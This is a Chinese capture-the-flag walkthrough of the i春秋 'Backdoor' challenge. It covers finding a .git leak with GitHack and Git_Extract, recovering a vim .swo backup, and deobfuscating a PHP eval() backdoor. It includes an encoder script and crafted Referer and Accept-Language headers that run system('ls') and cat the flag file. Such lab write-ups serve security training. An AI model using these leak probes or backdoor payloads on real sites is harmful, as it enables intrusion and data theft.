i春秋Backdoor
点开是道没有任何窗口的题,右键查看源码也没上面东西,抓包试试,也没找到什么提示性的信息,根据提示去看看敏感文件泄露是什么吧
这里找到了篇敏感文件泄露的介绍及利用方法:https://www.cnblogs.com/pannengzhi/p/2017-09-23-web-file-disclosure.html
然后这里的使用方法就是在连接后面补充.git;.hg.......最后发现.git的报错是禁止访问,而其他的则是未找到,所以这里是git敏感文件泄露,而git文件是不能直接看到的,我们需要下载GitHack来下载利用泄露文件,这里附上下载链接:https://github.com/lijiejie/GitHack
下载后的使用方法也很简单,作用也就下载git敏感文件泄露。这里我们打开cmd,在cmd中打开GitHack的文件夹
再输入 python GitHack.py http://1270485ad6e5419eb84b2bbf2ca113ae47cf39637fcd4bf6.changame.ichunqiu.com/Challenges/.git/ 来下载网页上泄露的git,
不过这里涉及到.git文件的历史文件,也就是修改之前的文件,所以GitHack需要更麻烦的修改,所以这里使用Git_Extract,是个dalao自己写的,很方便,这里附上下载链接https://github.com/gakki429/Git_Extract,下载后使用方法也很简单,先通过cmd指令打开Git_Extract文件夹
cd C:\Users\七星\Desktop\tools\Git_Extract-master
然后python git_extract.py http://1270485ad6e5419eb84b2bbf2ca113ae47cf39637fcd4bf6.changame.ichunqiu.com/Challenges/.git/获取.git泄露文件
然后获取到.git及历史
全部打开一一检查发现了提示信息
所以我们根据提示搜索b4ckdo0r.php,界面上也没什么信息,还是同样的,查看源码,抓包没什么信息,可能还是敏感文件泄露,继续测试。。。。无果,看了下wp才知道这里是.swo备份文件泄露,具体的利用方法是直接url:http://037a02c1c0e34ad1b7ce0c816843af4837a413b838964a33.changame.ichunqiu.com/Challenges/.b4ckdo0r.php.swo访问就行了,会让我们下载备份文件,我们就先下载下来试试
下载下来后是需要我们恢复的swo文件,我们将其放在kali上进行vim的复原(将本地文件放入kali需要VM Tools,具体安装方法再本博客搜如何在kali Linux上安装VMware Tools)
复原步骤:
- 将下载好的swo文件改后缀为swp
- 将swp文件发送到kali上
- 在kali的终端上打开swp文件的目录
root@kali:~# cd /root/桌面
4.修复swp文件
root@kali:~/桌面# vim -r b4ckdo0r.php.swp
然后输入一次回车就可以得到修复好的swp文件了
这么密密麻麻的是混淆后的代码,我们将其复制到本地,在最后一行加入
echo ($L);
然后本地运行
但是发现这里折叠了,少了很多东西,一看源码才知道,这里存在<>,被html当标签处理了
所以这里直接查看源码,复制下来,整理一下,得到网页web源码了
然后分析源码,在43行找到了个可利用的eval()函数
再来解读下代码,
1.首先定义赋值两个参数
2.然后定义了一个函数,函数的功能是传入两个变量然后取其长度,将其变量与长度串联起来,输出串联后的变量和长度
3.再定义三个变量,其中rr是头部url,ra是头部传入的Language值
4.然后一个判断,如果rr和ra都存在就执行不存在就没了,所以这里rr和ra是必要传入的
5.if里面先定义了一个变量u,让其解析传入的url
6.把查询到的url中的query值传入变量中
7.让变量q等于query的数组
8.执行一个全局正则表达式的匹配
9.然后如果变量q和m都存在则又执行新的内容,否则什么都没有,所以这两个值一定是要有的
10.将请求的session值传入,保存到变量s中,然后又定义了ss和sl两个变量并赋值
11.定义一个变量i,让其等于m数组的第一个值并联第二个值
12.将i的值与kh的值并联,md5加密,然后返回前三位的值,将其给h
13.将i的值与kf的值并联,md5加密,然后返回前三位的值,将其给f
14.然后让变量p不断赋值,使其等于$q[$m[2][$z]](z从1一直变到m的上线)的并联
15.然后一个if判断,如果变量p中没有和变量h相同的的字符串就$s[$i]为空,p等于p的前三位
16.然后检查变量i中有没有s变量字符串,有的话就s[$i]与p并联,让变量e等于变量f在变量s[$i]中首次出现的位置,如果存在就继续执行
17.变量k的值等于变量kh与kf的字符串并联
18.打开web缓冲
19.然后是可利用的eval函数
20.把缓冲区数据传给变量o
21.清空缓冲区
22.然后给变量o压缩,进行x函数(最开始定义的函数),在base64解码,将其值给变量d
23.输出变量d
24.结束session
具体代码含义及利用方法请参考:https://www.cnblogs.com/sijidou/p/9827720.html
所以这里先利用eval()函数执行一次system(‘ls’)指令,而ls是要被加密解密复杂运算的,所以我们这里就先对他反向加密解密
附上一个dalao的脚本
<?php function x($t,$k) { $c=strlen($k); $l=strlen($t); $o=""; for($i=0; $i<$l;) { for($j=0; ($j<$c&&$i<$l); $j++,$i++) { $o.= $t{$i} ^ $k{$j}; } } return $o; } function get_answer($str){ $str = base64_decode($str); $str = x($str, '4f7f28d7'); $str = gzuncompress($str); echo $str . "<br>"; } function input($cmd){ $str = 'system("' . $cmd . '");'; $t1 = gzcompress($str); echo '$t1 = ' . $t1 . "<br>"; $t2 = x($t1, '4f7f28d7'); echo '$t2 = ' . $t2 . "<br>"; $t3 = base64_encode($t2); echo '$t3 = ' . $t3 . "<br>"; return $t3; } $ra='zh-CN,zh;q=0.0'; input('ls');//get_answer(''); ?>
本地运行,得到ls的反向加密解密
然后对http://70b22a768b3e4610b5301bee9da8a9e449d6cccf2ba648e1.changame.ichunqiu.com/Challenges/b4ckdo0r.php进行抓包,修改Accept-Language的值,手动传入Referer的值来达到我们利用eval()函数执行system(‘ls’)的目的,然后运行一下得到返回值
Accept-Language: zh-CN,zh;q=0.0
Referer: http://8.8.8.8/index.php?a=675TPocyB4WLfrhNv1PZOrQMTREimJna3e
然后将返回值填入刚刚的脚本中进行解码
得到解码后的字符串
很明显,这里显示的this_i5_flag.php是网站根目录下的文件,我们访问试试
。。。。。好吧,想不通
看来还得通过利用eval()函数来执行system()函数进行访问
这里需要用到system(‘cat this_i5_flag.php’),所以我们就把cat this_i5_flag.php放到刚刚的脚本中进行反加密解密
然后之前的抓包中修改Referer
Referer:http://8.8.8.8/index.php?a=675TPocyB4WLfrhNn0oHmlM/vxKuakGtSv8fSrgTfoQNOWAYDfeUDKWa3e
运行一下得到返回值,再次将返回值复制到脚本然后本地运行,这里运行的结果是没有显示的,因为他在源码中是被注释的,我们右键本地运行的网页查看源码即可得到flag